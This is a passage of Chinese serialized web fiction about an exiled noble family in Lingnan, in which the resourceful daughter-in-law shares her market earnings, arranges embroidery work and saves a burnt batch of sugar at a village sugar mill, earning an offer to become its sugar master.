别说靳家人了,就连卖东西的靳礼之和靳砚之都傻眼了,那么小小的东西,怎么就能卖得了这么多银钱呢? “对啊。” 程七七笑的眼睛都眯了起来,道:“娘,胜兰和小允都帮我洗了槟榔果,礼之和砚之帮我卖槟榔果,黑土在衙役过来的时候保护了我们,重山也请李巡检来了,所以,这钱呢,我打算分八份。” “除掉成本一百六十文钱,正好,还剩下七百文钱!” 程七七道:“三百文归黑土和重山,剩下的四百文钱,我们大人每个九十文钱,小允就四十文钱。” 今天要不是黑土,他们的银钱怕是血本无归。 “我不要钱。” 黑土立刻开口表态:“我的命,是世子的。” “我不能拿这么多钱。”怀孕的高胜兰也立刻开口。 靳允的娘亲孟静瑶更是立刻摇头道:“我更不能要,小允帮大伯娘干点活,怎么还好意思拿钱呢?” 靳礼之不好意思的说:“嫂子,那我也不用给九十文,给个三五十文就行。” “嫂子,那我的钱,可以换成肉吗?” 靳砚之的眼底只有对肉的渴望! “没想到,你们居然连钱也不要?”程七七没想到,她这么公平的分钱,大家伙似乎……都挺客气的? “既然你们不要银钱,那么,钱就换成棉花和肉吧。” 程七七将她今天买的棉花拿了出来道:“胜兰分两斤棉花,小允年纪小,就分一斤棉花。” “娘,剩下的都归你了。” 程七七将剩下的两斤棉花都给了柳素仪,同时,三斤肉她们得两斤,剩下的一斤,则是四六分,高胜兰六,小允四。 靳礼之和靳砚之一人按原计划,分了九十文钱! 黑土的手里,也被强行塞了三百文钱。 什么都没分到的靳四爷一家子,眼巴巴的看着程七七,李氏想说话,但,又不好意思开口,悄悄推了推靳晴。 靳晴盯着那肉,眼巴巴的说:“嫂子,我明天也能帮你干活,我也能分肉吗?” “可以。” 程七七肯定的点头,道:“今天只是试水,以后做的熟了,大家都参与进来,都能挣钱。” “好。”李氏放心了。 “其实,今天这钱,赚的很不容易。” 靳礼之拿着沉甸甸的铜钱,忍不住开口将今天衙役的事情说了:“要不是黑土保护着我们,重山又找来了李巡检,只怕我们的钱交出去,怕是都留不下几个钱。” “黑土,你身手这么好,要不,教教我?”靳砚之一想起白天黑土一打七,立刻直勾勾的看着黑土。 “你不怕苦?” 黑土一句话,就让靳砚之打消了念头,他连连摇头道:“不行,我,我还是跟着嫂子学做生意吧。” “什么?这么危险?”孟静瑶担心的看着自家男人。 “那,这钱要不不赚了。”高胜兰本来还以为洗洗东西就赚个两斤棉花挺好,现在看来,这棉花拿着烫手。 “你们若是害怕,可以不赚。” 程七七开口道:“我们一不偷二不抢,为何不能赚?” “七七说的对,你说的那个李巡检,我们是不是送点干股?” 忠勇侯的话,让程七七的眼睛亮了亮,当过将军的人,就是不一样,她点头道:“我准备让重山去联系,看不能能拿三成干股出来,这样的话,以后去摆摊挣钱,就更安全了!” “可以。” 忠勇侯赞赏的看着程七七,不贪,还能舍得拿出三成干股了,倒是个眼光长远的。 “生意的事情就说到这里,我这边,还有一桩生意,不知道大家有没有兴趣。” 程七七说着,直接拿出了十二花神的小样递了上前:“这样的花,绣在手帕上,你们能绣吗?” 柳素仪看着这花样,点头道:“能绣。” “我看看。” 何氏凑了上前,连连摇头道:“不行,这个太难了,静瑶,你肯定能行。” “我能绣。”孟静瑶开口,从小到大,她的女红,就是做的最好的。 高胜兰连看都没看,她对武打到是能行,拿绣花针不行。 “我,我也能绣!” 林惠兰激动的说着,可算是找到一样她能干的活了:“七七,这个我也能绣,如果做绣活的话,是不是就不用去上工了?” 程七七没回答,等到大家都看过了大房的孟静瑶、四房的李氏、婆婆柳素仪和林惠兰能绣。 四个人,倒是在程七七的意料之中,她道:“绣一方这样的帕子,十三文钱。” “这钱也太少了?” 林惠兰的话一出口,就发现所有人的目光看向了她。 就连忠勇侯也看向了她,她只觉得浑身一冷,连忙解释道:“别看这花样不大,但用到的针法却多,颜色也多,普通的手帕,绣一个时辰。” “但这帕子,绣好怕是得要二个多时辰。” 林惠兰解释了一些针法。 程七七是不懂,但,也算是明白月娘为何会这么说了,她道:“普通的手帕,是八文钱一方,这十二花神手帕,十三文,已经算是高价了。” “你要不想绣……” 程七七的话音方落,林惠兰连连道:“我想绣,我想绣。” “侯爷。” 林惠兰一看向忠勇侯,声音一开口,就软绵绵的,给人一种柔弱无骨的感觉。 忠勇侯一个眼神扫过去,说了多少次改口,她居然还没改。 “老爷。” 林惠兰连连改口道:“老爷,我绣帕子,可以不去上工吗?” 忠勇侯没有回答,而是看向程七七问:“一共有多少帕子?” “十二花神一共是十二方手帕,不过,如果绣的好,后面肯定能接更多的绣活。” 程七七听月娘的意思,这十二花神的帕子,似乎挺重视的。 “娘,你们一人三方帕子,能行吗?” 程七七道:“对方说七天之内交货,但,我们人多,我觉得,早些交货,或许,早日能领到更多的帕子来绣。” 她担心,如果一直干那些苦活累活,女眷倒时候全部倒下了,那可怎么办? “嫂子,我,我能绣吗?” 靳雪儿快哭了,她实在是不想去舂米了,躺在床上的时候,她身体都不是自己的。 第一卷 第53章 老夫人醒了 “你自己绣的手帕,我看看。” 程七七没有直接拒绝,而是开口询问着,不是什么人都可以绣的,否则,绣楼也不会看起来很为难的样子! 普通的绣娘,如果没有好的老师,全凭自己摸索的话,各种针法,很难。 “我,我……” 靳雪儿支支吾吾的道:“我以后会努力学的!” “那不行。” 程七七拒绝道:“人家绣楼需要的就是绣艺很好的绣娘绣这十二花神帕。” “行了,雪儿明天跟着大家一块去上工。” 忠勇侯一句话,就定了性,靳雪儿咬着唇半晌,最终只能委屈巴巴的低下头。 “爹,以后忙生意上的事情,做饭的事情,可能需要大家一起干,或者,轮流做饭。” 程七七主动开口,要是先前流放时一样,为了自己的吃食,她动手也就罢了! 如今到了流放地,林惠兰母女就算拿发簪换了粮食,也没道理天天白吃饭的道理。 抬水? 靠林惠兰母女一桶一桶的,根本不够用。 “轮流做。”忠勇侯开口,看向柳素仪和林惠兰。 “我同意。” 柳素仪应声。 “老爷,我,我不会做啊。” 林惠兰弱弱的不开口。 “不会做就学。”忠勇侯睨了她一眼,以前炖的汤,不是说她做的? “行,今天我去做。” 程七七起身,今天她买了肉,可不能被林惠兰给糟蹋了。 两斤肉,看着多,但忠勇侯和靳砚之两个男人,再加上五个女眷,这还不算祖母呢。 七个人,两斤肉,一人也就吃不上多少。 程七七看着两斤肉,决定包饺子! 留下一些肉沫,给祖母炖了肉沫汤,郎中说,祖母需要补。 调馅,擀面皮,程七七做起来挺容易的。 柳素仪和靳雪儿也过来帮忙,就连林惠兰都破天荒的进厨房了。 “七七,我来学习一下。” 林惠兰挤着笑容,盯着程七七的脸想:她还挺能折腾的,只要能挣钱过好日子,吃上肉就行! 程七七看了她一眼,她这是怕肉被偷吃了? 人多力量大,没多大一会,四斤饺子就出锅了! 两斤肉,留了一点肉给祖母,是万万不够包四斤饺子的。 所以,程七七调了两种馅,一种加了多多的韭菜,另一种,则是加了多多的白菜。 野韭菜,地里很多。 白菜更是便宜,几文钱,可以买好几颗呢! 煮好的饺子,又方便分,她再调了一个万能的蒜末小葱酱油,空间里,麻油辣椒油都有,可惜,拿不出来! 四斤饺子端上桌,满满的两大盆子,热气腾腾的饺子,闻着就香。 “爹,我给祖母炖了肉沫汤,在炉子上,祖母若是醒了,便能喝上了。” 程七七的话,让忠勇侯十分满意,他做主,给程七七和靳岁安两个人分了满满的饺子。 “娘,安安给你吃。” 靳岁安满满一碗饺子吃不完,就开始分给程七七两个了,随即,靳岁安又抱着碗,噔噔噔的去院外,见着胡子叔叔,她咧嘴一笑:“胡子叔叔,我分你两个!” “安安,小姐。” 靳墨之看着她笑的高兴,拒绝道:“我够吃了,安安小姐留着自己吃。” 话落,靳岁安直接分给胡子叔叔了。 “娘,胡子叔叔今天保护了娘亲。” 靳岁安脆生生的话,让程七七更是心底无限的温柔了,她亲了亲靳岁安道:“我们安安真好,娘奖励你一个。” “爷爷也奖励你一个。” 忠勇侯稀罕的看着孙女,也想分饺子,靳岁安连连拒绝道:“爷爷不用分,安安肚肚吃饱了!” 脆生生的话语,让靳家人都高兴的不行。 林惠兰盯着那饺子,还想多吃几个,好不容易吃上一回,那不得多吃点。 吃饱喝足,林惠兰和靳雪儿‘主动’的承包了洗碗烧热水的活。 程七七牵着靳岁安刚回屋,就听到屋子里传来柳素仪激动的声音:“老爷,娘,娘醒了!” 老夫人清醒了? 程七七脚步一顿,拐脚就带着靳岁安去了老夫人房里。 流放路上,老夫人半是清醒半是迷糊,到了岭南之后,吃了几副药,白天听柳素仪说,清醒了一会。 这下,全清醒了? “墨、儿呢?” 床榻上,老夫人瘦的就像是皮包骨了,一开口,柳素仪的眼眶就红了,眼泪直掉。 “唉。” 靳老夫人叹了一口气,看到程七七和靳岁安时,她浑浊的眼睛亮了亮,抬手。 “安安,快叫曾祖母。” 程七七牵着靳岁安上前。 “曾祖母。” 靳岁安乖乖喊着。 “嗳。” 靳老夫人看着靳岁安道:“这就是墨儿的女儿?养的真好。” 程七七满脸高兴,她也觉得,女儿养的好,乖巧又懂礼貌,简直就是上天的恩赐! “你是……” 靳老夫人看着程七七。 “这是墨儿的媳妇,程七七。”柳素仪立刻开口介绍着:“娘,这一路上,多亏了七七呢。” 柳素仪端着热腾腾的肉汤,一边喂着靳老夫人,一边道:“这肉汤,也是七七特意给您炖的。” “不错。” 靳老夫人吃了药,现在又喝肉汤,但看起来,确实比以前清醒。 柳素仪也就开始夸赞着程七七,到了流放地,还开始做生意了,同时,还接了绣活给她们挣钱,话里话外,全部都是夸赞的话。 程七七看着靳老夫人,想着大家族的老夫人,或许,看不起? “好。” 靳老夫人非但没有看不起,反而格外赞赏,道:“七七,以后祖母教你武术,保准出去做生意,不被人欺负。” “谢谢祖母。” 程七七感谢着,心中却没多当一回事,等到后来,她才发现,老夫人真是神人啊! “你说岭南没吃的?那我们可以种木耳,我跟你说,从前,我就是种木耳的。” 靳老夫人刚一清醒,就开始琢磨着往后的路了。 “可是,没有木耳菌,我们也种不出来。”程七七疑惑的开口,之前流放路上带来的香菇,经过一个多月的采摘,现在已经不长香菇了。 木耳,倒是好,长的多,味道也好吃,还能卖钱,可,培养不出木耳菌啊。 “我会。” 靳老夫人一脸得意,枯瘦的脸庞,烛火的跳动下,衬着那双眼睛,格外明亮。 第一卷 第54章 变脸真快 “娘,祖母真会这些?要是木耳真能种出来,那又是一桩挣钱的生意。” 程七七的眼眸格外明亮,从老夫人睡下之后,她都有些兴奋呢! “应该……会吧?” 柳素仪不确定的说着,她进门的时候,靳家就已经出息了。 “会。” 忠勇侯高兴的开口,母亲如今彻底的清醒了,他的心也彻底的放下来了,他道:“我记得,小时候家里穷,娘就会种木耳,不过,后来用不上,这些事情,倒是太久远了!” 忠勇侯的目光中透着回忆。 程七七带着哈欠连天的靳岁安回房间了。 屋顶,靳墨之悄悄的趴在屋顶上,知道祖母醒了,他的心情也很好,特别是吃到了女儿亲手送的饺子,他更是高兴。 程七七小声的给靳岁安讲故意。 屋顶上,靳墨之听着女儿偶尔发出的声音,也格外的幸福。 天际渐渐泛起了鱼肚白,程七七的生物钟准时醒了,昨天吃了饺子,今天早上就吃点简单的,她打算去山脚下转转,看能不能再捡点别的东西卖钱。 特别是那一片甘蔗林,程七七很好奇啊,他们是拿来做红糖吗? 不知道古代的红糖,制的怎么样? 早上喝完酸菜粥,程七七主动将女儿跟着柳素仪,她则是准备去干活了! “七七,你可以不干活。” 忠勇侯开口。 “爹,我今天去干活,不知道,能不能请爹爹帮忙,让我去糖坊?” 程七七打听过了,村子里,确实有一个糖坊。 “你想去糖坊?” 忠勇侯道:“这些日子,通过打猎,我们跟赵黑子关系确实亲近不少,女眷补衣服之类的话,算是最轻松的!” “爹,我的针线活不是很好,就是安安爱吃糖,想去看看。” 程七七主动开口。 忠勇侯看了她一眼,也没再说什么。 “嫂子,我跟你一块吧。” 靳雪儿跟着程七七一块,酸溜溜的说道着:“爹对你可真好,要是爹不让我上工就好了!” 靳雪儿不想舂米。 “你可以自己跟爹说。” 程七七才不惯着靳雪儿呢,昨天才吃了她挣钱买回来的肉,今天就在这里阴阳怪气了? “爹不同意啊。” 靳雪儿叹气,眼珠子一转道:“嫂子,要不你帮我?” “你看我像傻子?” 程七七扫了她一眼,快步走向了何氏、温氏的身边,她们见着程七七,格外的诧异:“七七,你这生意不是挺好?怎么今天……” “今天没什么事情,就去上工。” 程七七飞快的回答着,她盯上糖坊了,就算不能去糖坊干活,她也想打听打听糖坊的事情! 大概是程七七的运气不错,赵黑子还真把她和温氏,分配到了糖坊,何氏和靳雪儿、靳晴则是分到了舂米! “嫂子,我……” 靳雪儿看向程七七,刚一开口,程七七拒绝道:“不行,不换。” 话落,程七七立刻就跟着温氏一块走向糖坊了。 靳雪儿盯着程七七的背影,狠狠一跺脚。 “七七,糖坊的活比舂米更轻松一些,搬运甘蔗有男人去干,我们就干些细活就行。”温氏的声音人如其名,温温柔柔的,一路上,都给程七七介绍着。 程七七赶到糖坊的时候,这才发现,难怪她之前没见到呢,和他们往的地方,完全是相反的方向,一个在东边,一个在西边的山脚下。 就在甘蔗林的另一边。 茂密的甘蔗林,如今正是丰收的季节,风一吹,仿佛都能闻到甘蔗的香味! 靠近糖坊,很快,就有管事的过来接收了:“你们两个,把这些糖,全部都包装好,做不完,不许吃饭。” 管事阿婆冷着脸拖了堆成小山似的糖来了。 “好的,冷阿婆。” 温氏坐了下来,就开始教程七七怎么包装糖了,她道:“九块包一个包裹,一定要动作快一点。” 九个小糖块横三纵三竖三的摞三层,用油纸一包,最后用细细的麻绳一捆,就算是包扎完了。 “七七,你别看这看着容易,但这么多糖,我们得动作快点。” 温氏开口说着,就给程七七示范了。 “这,和我们平日里买的糖不一样啊。” 程七七想着京都的红糖,跟现代虽然有区别,但也没眼前的区别这么大吧? 这发黑的红糖,细细闻来,还带着些许的苦味! “还杵着干嘛,干活!” 冷阿婆手拿着戒习尺,在程七七愣神间,一戒尺就打了下去,疼得程七七倒吸了一口气。 “冷阿婆,我侄媳妇她刚来干活,我们保证会做完的。” 温氏立刻讨好的笑着,求着冷阿婆宽容一点。 程七七看了一眼。 温氏小声说:“冷阿婆就是这里的管事,她男人就是糖坊的东家之一,我们赶紧干活。” “好。” 程七七应声,看着被打红的手背,也跟着开始干活了,同时打听着这情况:“那冷阿婆家很有钱啊?” “当然有钱,村里唯一的一栋青砖瓦房,就是冷家的。” 对面一个干活的姑娘咧嘴笑着开口,道:“我叫珍妹,你跟温嫂子是一起的吗?之前怎么没看过你?” 珍妹看着程七七,一副自来熟的样子。 “先前有事,珍妹,那你是本地人咯?”程七七含糊的说了一句,看着珍妹,看起来十五六岁,跟靳雪儿差不多。 “对啊。” 珍妹道:“我祖祖辈辈都是村里的,我们阿爹阿娘种甘蔗,我在糖坊做工挣钱,我阿弟砍甘蔗挣钱。” “那,你知道这里的甘蔗,为什么同一批,颜色都不一样,而且,还有一点焦味?” 程七七开口。 “行啊,那你把你的发带给我。” 珍妹盯着程七七束头发的发带,这花色,从来没见过。 程七七:“……” 果然,想要得到消息,就得付出代价。 “行。” 程七七应声道:“我这发带可是从京都带来的,它……” “我可没钱,你要不愿意给,就算了。” 珍妹一提到钱,连刚刚的笑容都没了,一副谁也别想拿她钱的样子。 “我免费送你。” 程七七的话音落下,珍妹的脸上又露出了笑容,她笑着说:“当然是因为熬糖的师傅出事了。” “出什么事了?” 程七七下意识的追问。 第一卷 第55章 不抢救一下? “摔了一跤。” 珍妹认真无比的说着,道:“所以,现在是冷师傅的儿子在制糖。” 程七七:“……” 这消息,她敢肯定,除了刚来什么都不懂的靳家人,归化里村的人,肯定全部都知道! 这算什么内部消息。 “怎么啦?我说的可是真的!” 珍妹看她不高兴的样子,连忙将发带往头发上一扎,道:“现在就是我的。” “你的。” 程七七面带微笑,视线落在这糖作坊上,分区混乱,从榨汁到煮糖,最后结晶,包装,全部都在一个大厅里。 抱柴烧锅时,灰尘漫布,榨汁更是简单的不能太简单了,根本没有任务的卫生意识。 还有,那一口大锅熬糖,如何能精准的控制火候? 这结晶的红糖,也不均匀…… 程七七环顾着糖坊,有些好奇,这做出来的糖,能卖得出去吗? “当然能卖得出去了,我们糖坊卖的可好了!” 珍妹听着程七七的问话,立刻道:“我们村的甘蔗,还有隔壁几个村的甘蔗,可都送到我们糖坑来,也只有冷家,能制出糖来!” “哦。” 程七七若有所思的想着,看来,岭南的制糖工艺不怎么样,至少,比起京都来,差的太远了! 京都的糖,虽然没有现代那么好,但,总体来说,还是不错的。 岭南的糖…… 程七七低头看着这红的发黑的红糖,还带着淡淡的焦味,这工艺……要是改进一下,肯定能挣很多钱。 “啪。” 赶紧干活。 冷婆子一戒尺打了过来,程七七抬头笑道:“冷婆婆提醒的是。” 理智告诉她,现在硬气,除了吃亏,绝对没有半点好处! “宋珍妹,你笑什么?” 冷婆子一戒尺朝着宋珍妹打了下去,宋珍妹刚刚还笑的脸上,瞬间就垮下来了,她没有半点生气,反而笑嘻嘻的说:“婶子,我干活,没偷懒。” 好了。 冷婆子的戒尺,平等的对待每一个人。 “七七,没事,刚来都要挨打的。”温氏小声的在一旁安慰着,她来糖坊几天,都挨打好多回了! 程七七浅浅的笑了笑,挨打还挨出经验来了? 突然,一阵焦香味传来。 程七七看向糖锅前,男子显得有些慌乱。 “小屿,快,快撤火。” 冷婆子一改刚刚的严厉,大步跑上前,看着男子激动的催促着。 “撤火,快撤火。” 冷屿说完,就看着那一锅糖,一脸自责。 这,就完了? 不抢救一下? 程七七开了眼界,她站起身朝着锅走了过去。 “你来干什么?还不去干活?”冷婆子看着程七七,立刻蹙起了眉头。 程七七没管,而是盯着满满一锅的糖,道:“立刻架一口冷锅,这锅糖,还能抢救一下。” “准备竹炭粉,动作要快!” 程七七的声音带着命令式,她的眼睛里,只有这一锅糖,得多少甘蔗才熬出这一锅糖水来? 就这么浪费,也太可惜了。 “你别胡闹。”冷婆子蹙眉。 冷屿问:“你懂吗?” “我懂不懂的,至少能试试,总比这一锅糖全坏了好吧?” 程七七抿唇说着道:“方法我已经教了,做不做,看你们。” 话落,程七七转身就走,要不是想搭上糖坊,她才懒得出面呢。 “七七,这糖烧焦了,你出什么面呀,万一真坏了,到时候岂不是赖到你头上了。” 温氏焦急的看着坐回到旁边的程七七道:“你不知道,我来的第一天,就烧焦了一锅,当时,冷婆子把大家骂的狗血喷头。” “七七,你……” 温氏担心的看着程七七,她这次真的是莽撞了。 “他们现在,至少能抢救半锅糖。” 程七七回头,看着冷屿已经听进了她的话,开始架冷锅,将锅里的糖转移到冷锅里了,同时,有人开始碾竹炭粉了。 “要洒多少竹炭粉?” 冷屿跑了过来问程七七,眉眼之中尽是焦急。 “粉越细越好,越多越好。” 程七七走到锅旁,道:“一边洒,一边搅棍子,让这些竹炭粉,均匀的跟糖混合。” 竹炭的吸附能力强,可以快速的将焦味吸附出去。 “好。” 冷屿现在是死马当作活马医了,按着程七七的方法做,他问:“等会怎么把这些竹炭粉滤出来呢?” “准备几条干净的棉布,草木灰,干净的细纱,重叠七八层的干净细棉布!” 程七七将过滤糖浆需要的东西说了出来,提醒道:“要快!” “娘。” 冷屿回头看着冷婆子,冷婆子一改刚刚的冷厉,立刻就回去拿棉布了,家里正好有很多细棉布,是准备给冷屿娶媳妇用的! 冷锅里,有三分之二左右的糖浆,等糖浆的焦味差不多没有之后,程七七就开始教过滤的方法了。 先用第一层细棉布过滤糖浆,糖浆颜色变浅了一些。 滤完第一层,就开始过滤第二层细沙、草木灰形成的第二层。 紧接着就是叠了七八层的干净细棉布,最终,糖浆一点点滤出,糖色清澈透亮了,红色的光泽重现。 “居然真的成功了,焦味几乎没有了。” 冷屿蹲下身子,认真闻着糖浆的香味,再看看刚刚过滤的棉布,全是竹炭粉。 “别动。” 程七七看着冷屿要动手,立刻提醒道:“等最后一点炭粉沉底,这一批糖浆,也就出来了。” “不过,和普通的红糖相比,这个浓香老糖,便宜一点,也是能卖的!” 程七七想,比他们现在卖的红糖品相差那么一点点。 “也很好了。” 冷屿狠狠的松了一口气,前几天那一锅糖,全部都没用了。 “你是谁?” 冷屿后知后觉的反应过来,看着程七七的脸庞格外陌生! “她是流放的犯人,新来的。”冷婆子介绍着,道:“程什么来着?” “程七七。” 程七七开口。 “你会熬糖?” 冷屿盯着程七七问,京都流放的犯人,岭南见过很多,女眷大多十不存二三,也无法适应岭南的气候,各种生病的很多。 大多数以前都是高高在上的夫人,千金小姐,十指不沾阳春水,连葱跟韭菜都分不清,像程七七这种会熬糖的,简直……奇迹! 宋珍妹看着冷屿盯着程七七的眼神,心中一个咯噔。 第一卷 第56章 你有女儿了? “以前看家人熬过。” 程七七没直接说自己会,而是谨慎的回答着,温氏也是靳家人。 “那,你……” 冷屿看着程七七的眼神火热。 程七七往后退了一步:“打住你的想法,熬糖的手艺,教会了徒弟,饿死师傅。” 话落,程七七转身就回到她的工位上去了,她心底也松了一口气,纸上谈兵和实战,还是有区别的。 “厉害啊!” 温氏看了一个全过程,朝着程七七竖起了大拇指。 程七七微微一笑,就开始包糖块了,九块糖用油纸一包,叠成正方形,简单却机械一般的重复,麻木的就像是一个干活的机器似的。 下午,下工时,冷屿拿了一包糖递上前:“谢谢你,救了那一锅糖!” 冷屿刚刚去看了一下,凝固的糖,品相口感差了一点,但,至少是能吃的,不像之前那一锅,全部倒掉了! 发苦,别说卖了,他们自己都不能吃! 如果,她上次也在就好了。 冷屿有些惋惜。 “谢谢。” 程七七提过糖,也没矫情,女儿没什么零嘴,拿这糖来当零嘴不错。 “七七,你真厉害!” 温氏朝着程七七竖起了大拇指,看了一眼她手里提着糖块,别人上工,得花钱,程七七上工,居然还挣糖回来了? 这一包糖,听说卖30文钱呢! “还行。” 程七七想着,回家分一块给温氏,温氏帮她说话了呢。 “程七七。” 宋珍妹追了出来,盯着程七七道:“你们是流放的犯人,那你以前是千金小姐咯?” 宋珍妹看着程七七的脸,白皙水灵,眼睛也生的好看,亮晶晶的,像是会说话一样。 “不是。” 程七七摇头,眼眸一动,看着宋珍妹道:“我运气好,嫁得不错,我女儿都三岁了,要不要去看看?” “你都有女儿了?” 宋珍妹眼中的敌意瞬间退散,笑开了花,随即,她又道:“走,去看你女儿!” 程七七:“……” 这小姑娘,有点什么心思都摆在脸上了,她这明摆着不相信她生了女儿? 温氏小声地在程七七耳旁附和着:“她喜欢糖坊的少东家。” “看得出来。” 程七七认真且赞同的点头。 “喂,你们走这么慢做什么?” 走在前头的宋珍妹回头,看着程七七催促着:“快点啊!” “来了。” 程七七脚下的步子快了一点,催促的宋珍妹让她都觉得,好像回的不是她的家,而是宋珍妹的家。 远远的还没到靳家呢,在家里洗芥菜的靳岁安就朝着她飞奔了过来:“娘亲,你终于回来了,安安想你了!” 靳岁安抱着程七七,就开始说着她今天做了什么:“有,你看,曾奶奶给安安做了漂亮的竹蚂蚱,好看吗?” “好看。” 程七七惊喜的看着这竹蚂蚱,做的还真的挺好看的! “我今天给曾奶奶端水了,还帮奶奶干活了。” 靳岁安脆生生的声音,那求夸赞的小模样,可真是可爱的不行。 “我们安安真乖。” 程七七蹲下身子,亲了亲靳岁安的脸:“安安,今天娘奖励你吃一块糖!” “谢谢娘!” 靳岁安抱着程七七就回亲了一口。 母女俩的互动,再加上靳岁安那漂亮的小模样仿佛跟程七七一个模子刻出来的,宋珍妹盯着程七七的腰身道:“没想到,你真的生了孩子,看不出来。” 话落,宋珍妹转身就走。 “等会,珍妹,你不留下来喝口茶?” 程七七没想到宋珍妹是连她的目的,都不掩饰一下。 “不喝,我还有事呢。” 宋珍妹一路小跑着回家,她还得去看冷爷爷呢。 “噗~” 温氏笑着说:“珍妹年纪小,什么事都摆脸上。” “也挺好。” 程七七其实挺喜欢这种性格,至少不是那种当面一套,背面一套,快进屋的时候,程七七拿了一块糖给温氏:“三婶,谢谢你今天帮我说话。” “我,我也没帮上忙。” 温氏拒绝着。 “三婶,以后糖坊还要你帮忙呢。” 程七七不由分说,直接塞到她的怀里,然后拿了一块给靳岁安,就牵着女儿的手回家了! “曾奶奶,奶奶,娘带好多好多糖回来了!” 靳岁安一进屋,就快乐的大喊着! 正在厅子里坐着的靳老夫人,手里拿着针线篮子,在纳布鞋呢,稍微有点精神了,她就坐不住了。 厨房里,柳素仪也探出头来,道:“七七回来了!” “奶奶,娘。” 程七七将糖块拿了出来道:“今天运气不错,我帮糖坊解决了个小问题,送了一包糖当感谢。” “哎呦,七七真厉害。” 柳素仪一脸骄傲。 “七七,来,试试这双鞋子。” 靳老夫人直接拿着鞋子递上前:“这一路上,奶奶多亏了你的食物。” 流放之初,他们什么都没有,若不是程七七的粮食,只怕她们都饿死了。 “奶奶。” 程七七受宠若惊。 “奶奶的心意,你收下吧,奶奶做的第一双鞋。” 柳素仪笑呵呵的说:“今天晚上我们咸肉粥。”之前留下没吃完的野猪肉腌好了,切上一点混在粥里煮,也是有肉香味的! “奶奶,尝尝甜不甜。” 程七七给了靳老夫人一块糖,然后就开始试穿鞋了,柔软的千层底布鞋,藏蓝的鞋面,还绣了小花,看起来格外精致! “正好合适,谢谢奶奶。” 程七七开心的感谢着。 “奶奶,你也太偏心了,我的鞋底都快穿了。” 靳雪儿走上前,想要撒娇,就被靳老夫人冷冷的扫了一眼,道:“你当林姨娘是死的?” 靳雪儿:“……” 恨不得给自己一巴掌,明知道老夫人不喜欢她和小娘,她说什么话啊! 忽然,靳雪儿看着老夫人身边的一堆糖,刚想动,就想起程七七抓她头发的事了,她顿时就不敢动了,只觉得之前被抓的头发,这会还有点发麻。 “糖是你嫂子得到的奖赏。” 靳老夫扫一眼,就知道靳雪儿想什么。 “奖赏?为什么她有奖赏?”靳雪儿疑惑的问。 “七七,糖坊的冷家人来了。” 忠勇侯刚进屋,声音就传了进来,当得知他们想聘请程七七当糖坊的师傅时,忠勇侯都惊呆了,这个乡下儿媳妇,还有什么是不会的? 第一卷 第57章 好东西,也是敲门砖 “爹。” 程七七走了出来,看到领头的冷屿,还有冷婆子时,她的心中瞬间就明白了。 客厅里,很快,就坐满了人,一番寒喧之后,靳家人也明白冷婆子一家的身份了。 冷婆子姓赵,是冷屿的嫡亲奶奶,除了冷屿之外,还有另外两兄弟,老大冷岛,老二冷焦。 糖坊就是冷家人做的,而赵黑,则是冷婆子的亲哥哥。 “靳少夫人……” 冷婆子一开口,程七七立刻道:“冷婆婆叫我七七就好。” “七七,今天那一锅焦糖,多亏了你了。”冷婆子一改白天拿着戒尺,四处盯着别人偷懒不干活的模样。 此时,冷婆子的脸上带着笑意。 “我也得了糖的报酬。” 程七七说着傍晚下工时,得到的一包糖,这会还放在…桌子上。 “咳。” 冷婆子清了清嗓子,看着桌子上摆放着那一包糖,立刻道:“我家小屿不懂事,你帮了这么大的忙,怎么能只给一包糖呢?” “这不,我特意带来了三包糖!” 冷婆子朝着冷屿使了一个眼色:“当时不知道,这会特意带糖来感谢。” “我也就是动动嘴。” 程七七微笑着,静待着冷婆子的下文。 “要的要的,我们是很感谢你的。” 冷婆子之前不知道,后来一看,本来一锅的废糖,现在变成了老浓香糖,焦味已经很淡了,卖便宜一点,也是能赚钱的。 她岔开话题道:“七七,你家会制糖吗?” 冷婆子的视线在靳家人身上转了一圈,她来之前,就找大哥打听过了,他们在京都是侯爷,犯了罪被流放了。 程七七,就是曾经的世子妃。 侯爷啊……这得多大的官啊,她怎么都想不出来,这样的人家,居然还会制糖?? “我以前看家里人制过。” 程七七直接开口,反正原主的爹娘都已经死了,无从考证了,她就算说出来也不怕! “那,我们糖坊,最近呢出了点小问题,所以,想请你明天制一锅糖如何?” 冷婆子有些好奇,如果让程七七来制糖,那能到什么样的程度? 不知道能否比老头子制的糖好? 可惜,儿子没能学会制糖,好在,孙子不错,但,孙子这制糖手艺还没学到家呢! 老头子又…… 冷婆子打起精神,看着程七七,要是她能制糖,能制的出很好的糖,是不是代表着,糖坊有救了? “请我制糖?” 程七七挑眉道:“怎么请?” “当然是……花钱。” 冷婆子道:“只要你愿意,这是你明天的工钱。” 冷婆子掏出一个钱袋子,说是钱袋子,其实就是一块花布缝了一个口袋,一百文钱,将口袋都衬的沉甸甸的,她道:“一百文钱。” 冷婆子将钱放在桌子上,一百文钱,足以买五升糙米。 这就挣一百文了? 靳雪儿站在门口,眼睛瞪的溜圆,刚刚得了一包糖奖赏,现在又得了三包,人家还花一百文钱请她? 靳雪儿的眉头皱的都快夹死蚊子了,她一个乡野村姑,怎么能这么……厉害呢? “冷婆婆,我是犯人,你请我做糖,赵大人那边,还要扣我一百文呢。” 程七七微笑着说着。 冷婆子一听,瞬间松了一口气,随即看着程七七的脸,又开始觉得她是不是病急乱投医了? 找一个流放的犯人来制糖? 算了算了,一百文钱虽然多,但只要熬出一锅好糖,他们就赚了! 万一…… 熬不出好糖,也就浪费一锅糖,就当一次尝试。 “赵黑是我大哥,明天我跟他招呼一声就行。” 冷婆子保证道:“你放心,你在糖坊就当上工,绝对不会再让你白出一百文钱。” “行。” 程七七应下,送走冷家人之后,程七七面前,就有了四包糖! “七七,你可真厉害,我们去上工,舂面,累死累活的,你倒是厉害,上工还得了四包糖呢!” “熬糖,那可不是什么人都会的。” “可不是,那都得有老师傅教,别小看一锅糖,好多人都不会!” 靳家人七嘴八舌的说着,大多都是夸赞程七七厉害的。 靳雪儿抿着唇,扭头就走,道:“小娘,我去捡柴。” “那你跟你哥一块去,早点回来。” 林惠兰正在努力的生火煮粥呢! 一支银簪子换来的粮食是不少,但,架不住他们吃了几顿白米饭,哪怕菜做的不好,这白米饭都没少吃! 林惠兰眼看着越来越少的粮食,还是决定做粥。 “七七,冷家想请你当制糖师傅。”忠勇侯开口,冷家打的主意,那是一眼就能看得出来。 “对。” 程七七点头道:“爹,如果我的制糖好,能不能以技术入股?拿糖坊的利润?” “你能找人查到,这糖坊到底出什么事了吗?” “如果糖坊真要干起来,我这手艺不会招来什么祸患吧?” 